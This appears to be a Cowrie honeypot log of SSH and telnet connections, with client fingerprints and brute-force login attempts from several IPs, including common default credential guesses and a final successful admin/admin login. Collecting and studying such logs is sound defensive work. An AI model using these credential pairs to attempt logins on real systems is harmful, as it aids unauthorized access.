{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:52:38.970092Z","src_ip":"14.225.217.138","session":"eae045f1c67f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":59988,"dst_ip":"159.203.135.109","dst_port":22,"session":"93bce113791f","protocol":"ssh","message":"New connection: 182.48.68.82:59988 (159.203.135.109:22) [session: 93bce113791f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:52:48.119970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:52:48.124487Z","src_ip":"182.48.68.82","session":"93bce113791f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:52:48.364944Z","src_ip":"182.48.68.82","session":"93bce113791f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"daemon","message":"login attempt [root/daemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:52:49.362586Z","src_ip":"182.48.68.82","session":"93bce113791f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:52:50.606448Z","src_ip":"182.48.68.82","session":"93bce113791f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":55306,"dst_ip":"159.203.135.109","dst_port":22,"session":"79fec456142f","protocol":"ssh","message":"New connection: 186.113.245.157:55306 (159.203.135.109:22) [session: 79fec456142f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:52:53.225455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:52:53.230850Z","src_ip":"186.113.245.157","session":"79fec456142f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:52:53.319755Z","src_ip":"186.113.245.157","session":"79fec456142f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smbuser","password":"123","message":"login attempt [smbuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:52:53.707165Z","src_ip":"186.113.245.157","session":"79fec456142f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:52:54.799530Z","src_ip":"186.113.245.157","session":"79fec456142f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":56230,"dst_ip":"10.17.0.5","dst_port":22,"session":"adf06fed41f7","protocol":"ssh","message":"New connection: 2.57.122.238:56230 (10.17.0.5:22) [session: adf06fed41f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:53:18.239402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:53:18.244291Z","src_ip":"2.57.122.238","session":"adf06fed41f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:53:18.343696Z","src_ip":"2.57.122.238","session":"adf06fed41f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:53:18.642654Z","src_ip":"2.57.122.238","session":"adf06fed41f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:53:19.744843Z","src_ip":"2.57.122.238","session":"adf06fed41f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33666,"dst_ip":"10.17.0.5","dst_port":23,"session":"70b80d297151","protocol":"telnet","message":"New connection: 104.245.105.2:33666 (10.17.0.5:23) [session: 70b80d297151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:53:30.058429Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":33948,"dst_ip":"159.203.135.109","dst_port":22,"session":"860790fa892f","protocol":"ssh","message":"New connection: 14.225.217.138:33948 (159.203.135.109:22) [session: 860790fa892f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:53:37.296852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:53:37.301399Z","src_ip":"14.225.217.138","session":"860790fa892f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:53:37.570445Z","src_ip":"14.225.217.138","session":"860790fa892f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Zxc12345","message":"login attempt [ubuntu/Zxc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:53:38.661231Z","src_ip":"14.225.217.138","session":"860790fa892f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:53:39.929420Z","src_ip":"14.225.217.138","session":"860790fa892f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":44296,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dad14558fcc","protocol":"ssh","message":"New connection: 186.113.245.157:44296 (159.203.135.109:22) [session: 0dad14558fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:53:52.700953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:53:52.705565Z","src_ip":"186.113.245.157","session":"0dad14558fcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:53:52.797796Z","src_ip":"186.113.245.157","session":"0dad14558fcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"PASS","message":"login attempt [ubuntu/PASS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:53:53.202413Z","src_ip":"186.113.245.157","session":"0dad14558fcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:53:54.302407Z","src_ip":"186.113.245.157","session":"0dad14558fcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.95356607437134,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:10.011873Z","src_ip":"104.245.105.2","session":"70b80d297151","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":50910,"dst_ip":"159.203.135.109","dst_port":22,"session":"b55bb15da71b","protocol":"ssh","message":"New connection: 14.225.217.138:50910 (159.203.135.109:22) [session: b55bb15da71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:33.479053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:33.483521Z","src_ip":"14.225.217.138","session":"b55bb15da71b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:33.757559Z","src_ip":"14.225.217.138","session":"b55bb15da71b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:34.870900Z","src_ip":"14.225.217.138","session":"b55bb15da71b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:36.143496Z","src_ip":"14.225.217.138","session":"b55bb15da71b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.90.213","src_port":6998,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb148e1f0132","protocol":"ssh","message":"New connection: 35.195.90.213:6998 (10.17.0.5:22) [session: bb148e1f0132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:48.719947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:48.799551Z","src_ip":"35.195.90.213","session":"bb148e1f0132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":33292,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2adfe06a00b","protocol":"ssh","message":"New connection: 186.113.245.157:33292 (159.203.135.109:22) [session: f2adfe06a00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:48.898226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:48.901365Z","src_ip":"186.113.245.157","session":"f2adfe06a00b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.90.213","src_port":7002,"dst_ip":"10.17.0.5","dst_port":22,"session":"d98ce94e7afe","protocol":"ssh","message":"New connection: 35.195.90.213:7002 (10.17.0.5:22) [session: d98ce94e7afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:48.956028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:48.963084Z","src_ip":"35.195.90.213","session":"d98ce94e7afe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:48.995287Z","src_ip":"186.113.245.157","session":"f2adfe06a00b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:49.045161Z","src_ip":"35.195.90.213","session":"d98ce94e7afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka1","message":"login attempt [kafka/kafka1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:49.942892Z","src_ip":"186.113.245.157","session":"f2adfe06a00b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:50.103540Z","src_ip":"35.195.90.213","session":"d98ce94e7afe","protocol":"ssh"}
